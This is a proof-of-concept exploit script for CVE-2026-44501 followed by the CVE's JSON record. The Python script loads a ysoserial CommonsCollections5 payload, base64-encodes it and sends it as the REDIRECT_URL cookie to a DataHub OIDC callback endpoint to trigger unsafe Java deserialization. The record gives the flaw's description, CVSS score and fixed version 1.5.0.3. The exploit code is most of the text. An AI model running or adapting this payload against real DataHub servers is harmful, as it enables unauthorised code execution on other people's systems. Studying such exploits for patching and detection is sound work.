CVE-2026-44501

# PoC Concept for CVE-2026-44501 # This script demonstrates how to send a malicious cookie. # Requires ysoserial to generate the payload. import requests import base64 # Target URL url = "https://target-datahub.com/callback/oidc" # Generate a payload using ysoserial (example with CommonsCollections5) # java -jar ysoserial.jar CommonsCollections5 "touch /tmp/pwned" > payload.bin with open("payload.bin", "rb") as f: payload_data = f.read() # Encode payload (assuming the app expects base64 or raw bytes, adjust as needed) # Based on typical Java deserialization, raw bytes are often used, but encoding depends on implementation. # Here we assume base64 for transport safety in Cookie header. encoded_payload = base64.b64encode(payload_data).decode() # Set the malicious cookie cookies = { "REDIRECT_URL": encoded_payload } try: # Send the request response = requests.get(url, cookies=cookies) print(f"Status Code: {response.status_code}") print("Response headers:", response.headers) except Exception as e: print(f"An error occurred: {e}")

{"cve": {"id": "CVE-2026-44501", "sourceIdentifier": "[email protected]", "published": "2026-05-14T16:16:24.073", "lastModified": "2026-05-14T18:12:13.527", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "DataHub is an open-source metadata platform. Prior to 1.5.0.3, The DataHub frontend (datahub-frontend-react) deserializes attacker-controlled Java objects from the REDIRECT_URL HTTP cookie during the OIDC callback flow, with no integrity protection (no HMAC, no encryption). This is a Deserialization of Untrusted Data vulnerability (CWE-502) affecting the GET /callback/oidc endpoint. Successful exploitation requires a valid user account in the configured OIDC identity provider This vulnerability is fixed in 1.5.0.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/datahub-project/datahub/security/advisories/GHSA-rjf9-p49v-42c4", "source": "[email protected]"}]}}